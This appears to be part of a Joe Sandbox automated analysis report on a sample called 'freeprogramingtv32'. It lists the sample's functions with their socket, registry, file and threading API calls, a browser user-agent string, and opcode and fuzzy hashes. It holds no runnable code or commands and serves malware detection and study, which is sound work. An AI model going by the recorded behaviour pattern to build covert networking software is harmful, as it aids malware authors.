WSASetLastError.WS2_32(00000000), ref: 02B92BE4
WSARecv.WS2_32(?,?,?,?,?,00000000,00000000), ref: 02B92C07

Part of subcall function 02B9A43C: WSAGetLastError.WS2_32(00000000,?,?,02B92A51), ref: 02B9A44A

WSASetLastError.WS2_32 ref: 02B92CD3
select.WS2_32(?,?,00000000,00000000,00000000), ref: 02B92CE7

Strings

3', xrefs: 02B92C85

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: ErrorLast$Recvselect
String ID: 3'
API String ID: 886190287-280543908
Opcode ID: da4c6d9ee725fbb34507e06e8919714a6ebf3172fdacf08735629608de0a753a
Instruction ID: 8aa5db4da36ac70effb5de8a79681e3e0a01717f9b2247f55c34f3d03551c38d
Opcode Fuzzy Hash: da4c6d9ee725fbb34507e06e8919714a6ebf3172fdacf08735629608de0a753a
Instruction Fuzzy Hash: 1A412CB1909301AFDB10AF68C51476BBBE9EF85354F104DAEE89A87280EB74D540CF91

Function 02B97B7F Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 125
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(0000EA60), ref: 02B96704
RtlEnterCriticalSection.NTDLL(02BC71B8), ref: 02B9670F
RtlLeaveCriticalSection.NTDLL(02BC71B8), ref: 02B96720
_free.LIBCMT ref: 02B97B4C

Strings

Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 02B96735

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep_free
String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
API String ID: 2653569029-1923541051
Opcode ID: 3551caca6829bea6b1a8efbc4a708637a8167c0a12ad061fdd663b390238d155
Instruction ID: fc231506065d67d79e187bf5a142539844fe4d779eda72f711cf94d2d93b15ed
Opcode Fuzzy Hash: 3551caca6829bea6b1a8efbc4a708637a8167c0a12ad061fdd663b390238d155
Instruction Fuzzy Hash: BB316C726083048FD720EF28D84475EFBE6EF4A710F5009BAE542DB251EB719814D782

Function 02B929EE Relevance: 7.6, APIs: 5, Instructions: 79
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00000000), ref: 02B92A3B
closesocket.WS2_32 ref: 02B92A42
ioctlsocket.WS2_32(?,8004667E,00000000), ref: 02B92A89
WSASetLastError.WS2_32(00000000,?,8004667E,00000000), ref: 02B92A97
closesocket.WS2_32 ref: 02B92A9E

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: ErrorLastclosesocket$ioctlsocket
String ID:
API String ID: 1561005644-0
Opcode ID: 2e39c8938ecca1306d411045bc97946ad25e3a9978ebf28ad9acafb09d561b32
Instruction ID: 1a7b3beb431a2ce5a676ec741371be6593e2874ada2ed246eb55c172c7e078e0
Opcode Fuzzy Hash: 2e39c8938ecca1306d411045bc97946ad25e3a9978ebf28ad9acafb09d561b32
Instruction Fuzzy Hash: D1210877E00205BBEF20ABB8D904B6AB6E9EF44315F1449F9EC65C3240EF70D9408B50

Function 02B91BA7 Relevance: 7.6, APIs: 5, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 02B91BAC
RtlEnterCriticalSection.NTDLL ref: 02B91BBC
RtlLeaveCriticalSection.NTDLL ref: 02B91BEA
RtlEnterCriticalSection.NTDLL ref: 02B91C13
RtlLeaveCriticalSection.NTDLL ref: 02B91C56

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$H_prolog
String ID:
API String ID: 1633115879-0
Opcode ID: 8cb9e422162c8bebf4ee60e0595f9c7f7fb58baf0520d380a81f0ac3361dd661
Instruction ID: 2f8ea519cde7997ca84ff1653412c3ba866dab47580e88aee29fd8864c72a609
Opcode Fuzzy Hash: 8cb9e422162c8bebf4ee60e0595f9c7f7fb58baf0520d380a81f0ac3361dd661
Instruction Fuzzy Hash: CA219C76A14205EFCF15CF68C4447AABBB5FF88714F10859AE8599B301DBB4E901DBE0

Function 00402D60 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 00402D86

Part of subcall function 004039F0: HeapCreate.KERNELBASE(00000000,00001000,00000000,00402DBF,00000000), ref: 00403A01
Part of subcall function 004039F0: HeapDestroy.KERNEL32 ref: 00403A40

GetCommandLineA.KERNEL32 ref: 00402DD4
GetStartupInfoA.KERNEL32(?), ref: 00402DFF
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00402E22

Part of subcall function 00402E7B: ExitProcess.KERNEL32 ref: 00402E98

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID:
API String ID: 2057626494-0
Opcode ID: 9e286e5f9a377e3797ece88135c359dedbbb575cc14907a13f37508a60b21901
Instruction ID: f31f1ce04d2051e6b9e8acf883bbbbaa5bd69f55a1c9941ff1c46623f1a3e60c
Opcode Fuzzy Hash: 9e286e5f9a377e3797ece88135c359dedbbb575cc14907a13f37508a60b21901
Instruction Fuzzy Hash: AD219FB0840715AADB04EFA6DE09A6E7BB8EB04704F10413FF502B72E2DB388510CB59

Function 02B92EDD Relevance: 6.0, APIs: 4, Instructions: 49networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02B92EEE
WSASocketA.WS2_32(?,?,?,00000000,00000000,00000001), ref: 02B92EFD
WSAGetLastError.WS2_32(?,?,?,00000000,00000000,00000001), ref: 02B92F0C
setsockopt.WS2_32(00000000,00000029,0000001B,00000000,00000004), ref: 02B92F36

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: ErrorLast$Socketsetsockopt
String ID:
API String ID: 2093263913-0
Opcode ID: 031e3b426f53a251250ab9eadf52a6d5289330edfd9e05646373a241953d970b
Instruction ID: 9e3506ed090b1c99128e822ff832c5a1d1d683a5613729dc68981aa04353c054
Opcode Fuzzy Hash: 031e3b426f53a251250ab9eadf52a6d5289330edfd9e05646373a241953d970b
Instruction Fuzzy Hash: 02018D72E40204BBDB205F65DC48F5ABBA9EBC5761F008565F919C7181D77088008B70

Function 02B92DB5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100networkCOMMON

Download Yara Rule

APIs

Part of subcall function 02B92D39: WSASetLastError.WS2_32(00000000), ref: 02B92D47
Part of subcall function 02B92D39: WSASend.WS2_32(?,?,?,?,00000000,00000000,00000000), ref: 02B92D5C

WSASetLastError.WS2_32(00000000), ref: 02B92E6D
select.WS2_32(?,00000000,00000001,00000000,00000000), ref: 02B92E83

Strings

3', xrefs: 02B92E22

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: ErrorLast$Sendselect
String ID: 3'
API String ID: 2958345159-280543908
Opcode ID: a3273c85e725a0accfd5e792fdf4886f7b2d2e4ee6a4ec1ac56f8fed91490283
Instruction ID: c096730f3bab182218c7e0dc1c28e020471d9dc925f57722ee3e9da05fb18b91
Opcode Fuzzy Hash: a3273c85e725a0accfd5e792fdf4886f7b2d2e4ee6a4ec1ac56f8fed91490283
Instruction Fuzzy Hash: 2E31C1B1E00205AFDF10EF68C854BEE7BAAEF45354F0045EAEC1997240EB70A554CFA0

Function 02B92AC7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02B92AEA
connect.WS2_32(?,?,?), ref: 02B92AF5

Strings

3', xrefs: 02B92B3B

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: ErrorLastconnect
String ID: 3'
API String ID: 374722065-280543908
Opcode ID: 7c39ec89f9ce877c2c72abf6f89327c1f238c16f52e768252998d0f9ca948e1c
Instruction ID: e97377929788cfb93d247cae5e13de40898f1f612e60d0808cb4a7ee6c11129c
Opcode Fuzzy Hash: 7c39ec89f9ce877c2c72abf6f89327c1f238c16f52e768252998d0f9ca948e1c
Instruction Fuzzy Hash: 8321A471E04204ABDF14BFB8D414BAEBBFAEF45324F0085E9DD2993280DB7456059FA1

Function 02B9353E Relevance: 4.6, APIs: 3, Instructions: 127COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B93543

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e4be12c28cf47046886606c2bb1df0c79fdfbcf32139d13635301a8fe41924a8
Instruction ID: d0ea02d34418ee9bd6ebb371a609072965a8782e5a799dd801df73d87dcce350
Opcode Fuzzy Hash: e4be12c28cf47046886606c2bb1df0c79fdfbcf32139d13635301a8fe41924a8
Instruction Fuzzy Hash: A8512DB1904216DFCF15DF68D544AAABBF1FF08310F1481AEE8299B391D774A911CFA1

Function 02B9369A Relevance: 4.6, APIs: 3, Instructions: 60COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(?), ref: 02B936A7

Part of subcall function 02B92420: InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 02B92432
Part of subcall function 02B92420: PostQueuedCompletionStatus.KERNEL32(?,00000000,00000002,?), ref: 02B92445
Part of subcall function 02B92420: RtlEnterCriticalSection.NTDLL(?), ref: 02B92454
Part of subcall function 02B92420: InterlockedExchange.KERNEL32(?,00000001), ref: 02B92469
Part of subcall function 02B92420: RtlLeaveCriticalSection.NTDLL(?), ref: 02B92470

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$CompareCompletionEnterIncrementLeavePostQueuedStatus
String ID:
API String ID: 1601054111-0
Opcode ID: f5db7fff1f59ac6fdb5fa5220579f2e8b77bd532182899a30542385dc4e774fe
Instruction ID: 8bcd130965a077c49fb01c24808e9fddfd5bcac9e3de63b8c7349f5765219739
Opcode Fuzzy Hash: f5db7fff1f59ac6fdb5fa5220579f2e8b77bd532182899a30542385dc4e774fe
Instruction Fuzzy Hash: DA1127B6504208ABDF218F14CC85FAA3BAAEF40354F0044A6FE12C72D0CB79D860CB94

Function 02BA2030 Relevance: 4.5, APIs: 3, Instructions: 42threadCOMMON

Download Yara Rule

APIs

__beginthreadex.LIBCMT ref: 02BA2046
CloseHandle.KERNEL32(?,?,?,?,?,00000002,02B9A8BC,00000000), ref: 02BA2077
ResumeThread.KERNELBASE(?,?,?,?,?,00000002,02B9A8BC,00000000), ref: 02BA2085

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CloseHandleResumeThread__beginthreadex
String ID:
API String ID: 1685284544-0
Opcode ID: 2f485ee2f1d4c73ee05f468c9634e27ab142c36866e43b875ceeadb6e966bf6f
Instruction ID: a43becbbcd993bcfa9ee3f775826fc6d325ddb0e3beb6c9753fde63416bdaaeb
Opcode Fuzzy Hash: 2f485ee2f1d4c73ee05f468c9634e27ab142c36866e43b875ceeadb6e966bf6f
Instruction Fuzzy Hash: E9F0F6716402006FE7309F6CDC91F91B3E8EF88324F2405AAF948D7290C7B1E892DB90

Function 02B91AA9 Relevance: 4.5, APIs: 3, Instructions: 18networkCOMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(02BC727C), ref: 02B91ABA
WSAStartup.WS2_32(00000002,00000000), ref: 02B91ACB
InterlockedExchange.KERNEL32(02BC7280,00000000), ref: 02B91AD7

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: Interlocked$ExchangeIncrementStartup
String ID:
API String ID: 1856147945-0
Opcode ID: 790d1c9fcd1ae90f934d69c705acf2cf3d060c9381bb599e3aa4f039e9b19bcd
Instruction ID: 3baa3fb6da9d53b90d76e5bf48d043a8ed2b1604c91cb976735dfba2378f81cc
Opcode Fuzzy Hash: 790d1c9fcd1ae90f934d69c705acf2cf3d060c9381bb599e3aa4f039e9b19bcd
Instruction Fuzzy Hash: 83D05E329902045BE62166A4AD0EB78F72CE74A651F500696FCBAC20C4EF915920A9B6

Function 004021DD Relevance: 4.5, APIs: 3, Instructions: 13timeCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 004021DD
CommandLineToArgvW.SHELL32(00000000), ref: 0040250F
GetLocalTime.KERNEL32(00409F90), ref: 0040B4F3

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: CommandLine$ArgvLocalTime
String ID:
API String ID: 3768950922-0
Opcode ID: ce613c528f85bf1f8ae63e2b126ce99c0089d08e88e538149f52549d84c6bc25
Instruction ID: 557ed025c40070bc94a2d9cea719a0dc8cab96cbb87e5a9995fc30fd065bcd82
Opcode Fuzzy Hash: ce613c528f85bf1f8ae63e2b126ce99c0089d08e88e538149f52549d84c6bc25
Instruction Fuzzy Hash: A5D09271844103FFCA00ABA19E1C1593AE1A6187893264436E113F20A6CB7D1596AF2E

Function 02B94BED Relevance: 3.1, APIs: 2, Instructions: 137COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B94BF2

Part of subcall function 02B91BA7: __EH_prolog.LIBCMT ref: 02B91BAC
Part of subcall function 02B91BA7: RtlEnterCriticalSection.NTDLL ref: 02B91BBC
Part of subcall function 02B91BA7: RtlLeaveCriticalSection.NTDLL ref: 02B91BEA
Part of subcall function 02B91BA7: RtlEnterCriticalSection.NTDLL ref: 02B91C13
Part of subcall function 02B91BA7: RtlLeaveCriticalSection.NTDLL ref: 02B91C56

Part of subcall function 02B9E02B: __EH_prolog.LIBCMT ref: 02B9E030
Part of subcall function 02B9E02B: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B9E0AF

InterlockedExchange.KERNEL32(?,00000000), ref: 02B94CF2

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CriticalSection$H_prolog$EnterExchangeInterlockedLeave
String ID:
API String ID: 1927618982-0
Opcode ID: c881831f3b868cdb0bb01772cc889976175134599b8630855927e0fd005dd7ae
Instruction ID: 84b597931ddc2d0c9ccda022d87b843ed7c79fe3fc75ec773e6b94682f11e2c3
Opcode Fuzzy Hash: c881831f3b868cdb0bb01772cc889976175134599b8630855927e0fd005dd7ae
Instruction Fuzzy Hash: 49513775D04248DFDF15DFA8C884AEEBBB5EF09310F1481AAE905AB352DB709A44CF50

Function 02B92D39 Relevance: 3.0, APIs: 2, Instructions: 50networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02B92D47
WSASend.WS2_32(?,?,?,?,00000000,00000000,00000000), ref: 02B92D5C

Part of subcall function 02B9A43C: WSAGetLastError.WS2_32(00000000,?,?,02B92A51), ref: 02B9A44A

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: ErrorLast$Send
String ID:
API String ID: 1282938840-0
Opcode ID: 8809b8daf071d712c3797ef85fc23e35cc3261206104e95a68dd3d2b1447061d
Instruction ID: 18971c3b55377afb5fbb4aa4442a0ecd0185b23874a9b9f8587d66a9c50fa3e9
Opcode Fuzzy Hash: 8809b8daf071d712c3797ef85fc23e35cc3261206104e95a68dd3d2b1447061d
Instruction Fuzzy Hash: ED017575905205FFDB206F98C84496BBAEDFF45364B1005BEEC6983240DB709D008BA1

Function 02B9831D Relevance: 3.0, APIs: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02B9833A
shutdown.WS2_32(?,00000002), ref: 02B98343

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: ErrorLastshutdown
String ID:
API String ID: 1920494066-0
Opcode ID: 20b6a091a7b0532577e4d190e888d7b23e88f03c1d6d61fc2ef028ff3a491dfa
Instruction ID: e6f06fdedf9d7c31243a0d1c94e375628e33fa14bdc4f7eda3ebd54af8da230b
Opcode Fuzzy Hash: 20b6a091a7b0532577e4d190e888d7b23e88f03c1d6d61fc2ef028ff3a491dfa
Instruction Fuzzy Hash: 9CF03072A48714CFCB14AF58D415B5AB7E5FF4A360F0089ADE9A697380DB70A8108FA1

Function 004039F0 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00402DBF,00000000), ref: 00403A01

Part of subcall function 004038A8: GetVersionExA.KERNEL32 ref: 004038C7

HeapDestroy.KERNEL32 ref: 00403A40

Part of subcall function 00403DC7: HeapAlloc.KERNEL32(00000000,00000140,00403A29,000003F8), ref: 00403DD4

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: 08f14aee262382775140a5fb38b16d88e88289f6ea168ffb6a246c9e47cbf934
Instruction ID: 5dadef9d12e489db140da5c14b34350ea54a5b880f3286d9e4ff1a1591b79aa3
Opcode Fuzzy Hash: 08f14aee262382775140a5fb38b16d88e88289f6ea168ffb6a246c9e47cbf934
Instruction Fuzzy Hash: 04F065707553016ADB24EF705E4676B3DD8AB80B53F10443BF541F41E0EB7C8690991A

Function 004024FE Relevance: 3.0, APIs: 2, Instructions: 15timeCOMMON

Download Yara Rule

APIs

CommandLineToArgvW.SHELL32(00000000), ref: 0040250F
GetLocalTime.KERNEL32(00409F90), ref: 0040B4F3

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: ArgvCommandLineLocalTime
String ID:
API String ID: 561774760-0
Opcode ID: 7d711ecb45f5358fb29c09f6cea0aa565c0445b5a64e95f213db846171243a10
Instruction ID: a66c5badff17ef84449faa0defee9372e3bee6a917213ae0b3641b484d659f82
Opcode Fuzzy Hash: 7d711ecb45f5358fb29c09f6cea0aa565c0445b5a64e95f213db846171243a10
Instruction Fuzzy Hash: 73D05E7180010BFFEB106F72C90818C36E1AB187893214836D417B3592CB3C0596DE2E

Function 0040B4CA Relevance: 3.0, APIs: 2, Instructions: 6registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNELBASE ref: 0040B4CA
RegCloseKey.KERNELBASE(?), ref: 0040B56B

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: CloseValue
String ID:
API String ID: 3132538880-0
Opcode ID: 26a545fd8a3e1c718b6c6ef77356f2afb723653ba756ac198d4733562de79363
Instruction ID: 43114c3f15c09e113b0b949ad8a557ce12eb5bef164d2ca19a484039adfeabfe
Opcode Fuzzy Hash: 26a545fd8a3e1c718b6c6ef77356f2afb723653ba756ac198d4733562de79363
Instruction Fuzzy Hash: 89B09232848000EBCB058BB0EE095283E71FB08305B120071E207B04B0C7352461AB8E

Function 02B95119 Relevance: 1.7, APIs: 1, Instructions: 196COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B9511E

Part of subcall function 02B93D7E: htons.WS2_32(?), ref: 02B93DA2
Part of subcall function 02B93D7E: htonl.WS2_32(00000000), ref: 02B93DB9
Part of subcall function 02B93D7E: htonl.WS2_32(00000000), ref: 02B93DC0

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: htonl$H_prologhtons
String ID:
API String ID: 4039807196-0
Opcode ID: d48b2cd6a0d13c821de4aa1615ca7885923f9bd1cd23e760827739bb524d50b0
Instruction ID: c27a70554d9bd1e219d838f98dfe6f54bddd21ec522d01dac0aefd25589a3e4e
Opcode Fuzzy Hash: d48b2cd6a0d13c821de4aa1615ca7885923f9bd1cd23e760827739bb524d50b0
Instruction Fuzzy Hash: 6D8149B1D0424E8ECF16DFA8D080AEEBBB9EF48310F1081AAD855B7240EB755A45CF65

Function 02BCE1D3 Relevance: 1.7, APIs: 1, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002BCA000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BCA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2bca000_freeprogramingtv32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83d5b9e89d3c4dec8ad19457d99d23d6254199a1a7bbf7859bbe2aa2ec4ecf4e
Instruction ID: 10c9984ea2c95d86a8d9a6391b7b08fdd59172fa719bb38180626bb304a83b17
Opcode Fuzzy Hash: 83d5b9e89d3c4dec8ad19457d99d23d6254199a1a7bbf7859bbe2aa2ec4ecf4e
Instruction Fuzzy Hash: 49516BF280C6249FD701BF19E8816BAFBE4EF44760F06492DEAC993640E6359854CBD7

Function 02BCE0FE Relevance: 1.7, APIs: 1, Instructions: 158fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 02C0BF04

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002BCA000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BCA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2bca000_freeprogramingtv32.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8ba73b930b05e5d4fbe93724d9491f3cafcfdd6e7e1ef484a7674765cf767784
Instruction ID: fbc9bc9fad5cddb5fbe0acc158c403324a1a951461d038b898303ef63a173f31
Opcode Fuzzy Hash: 8ba73b930b05e5d4fbe93724d9491f3cafcfdd6e7e1ef484a7674765cf767784
Instruction Fuzzy Hash: D45108F280C6109FE705BF19E8816BAFBE4EF54710F06492DEAC597340E636A854CB97

Function 02C03737 Relevance: 1.6, APIs: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 02C0BF04

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002BCA000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BCA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2bca000_freeprogramingtv32.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d8ffed9a50cd2dd9738d21ba718de923d9e538f809d42d591953e7ded2d07516
Instruction ID: 5e603c036501c2860178e46dc18256666c8d3a4127dc902c2a49e808f5dfa230
Opcode Fuzzy Hash: d8ffed9a50cd2dd9738d21ba718de923d9e538f809d42d591953e7ded2d07516
Instruction Fuzzy Hash: A3313BF180C6149FD701BF0ADC816BAFBE8EF44610F06482DE6C587340E632A854CB97

Function 02BD2E02 Relevance: 1.6, APIs: 1, Instructions: 90fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 02BFE2A0

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002BCA000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BCA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2bca000_freeprogramingtv32.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 9039e011ea66bd93e3c64ad22b409589bd749e426d1b227fe6c0b6847e6ac190
Instruction ID: e5e27b29f5269fc6d0e434a679176147f08aaba59932eb9ba1e6c163644ec810
Opcode Fuzzy Hash: 9039e011ea66bd93e3c64ad22b409589bd749e426d1b227fe6c0b6847e6ac190
Instruction Fuzzy Hash: B02194B251C604AFE3082E19EC457BEFBE5EB94721F56452DE7C583340FA7518018A96

Function 02B9E8F4 Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B9E8F9

Part of subcall function 02B91A01: TlsGetValue.KERNEL32 ref: 02B91A0A

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: H_prologValue
String ID:
API String ID: 3700342317-0
Opcode ID: a3c446b33c7a84a97080a53545d1bc686ebbb9b9f399c1f398ded03e8f8ea09d
Instruction ID: 02a37cad1be419b08bfca6bae0bc4fb7ac7feed6aac82587d53ae593f3f9e778
Opcode Fuzzy Hash: a3c446b33c7a84a97080a53545d1bc686ebbb9b9f399c1f398ded03e8f8ea09d
Instruction Fuzzy Hash: 2E214FB2904209AFDF00DF98D540AFEBBF9EF49310F10406AE919A7240D771E900CBA1

Function 02BD64D9 Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,?,0B579438), ref: 02C0A483

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002BCA000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BCA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2bca000_freeprogramingtv32.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 476d1e4991b414cf9d2f1bb4c922e6d718817a5b1495b4419fcb155a647e00fb
Instruction ID: 25884d4009b9278a01e9e504b296a0c3e56d3f41110482aefcd2e0c29dcaa328
Opcode Fuzzy Hash: 476d1e4991b414cf9d2f1bb4c922e6d718817a5b1495b4419fcb155a647e00fb
Instruction Fuzzy Hash: 430152B660C304AFE3516E0AECC0A6AF7EDFBD8664F51492EEB8493350D6711C118666

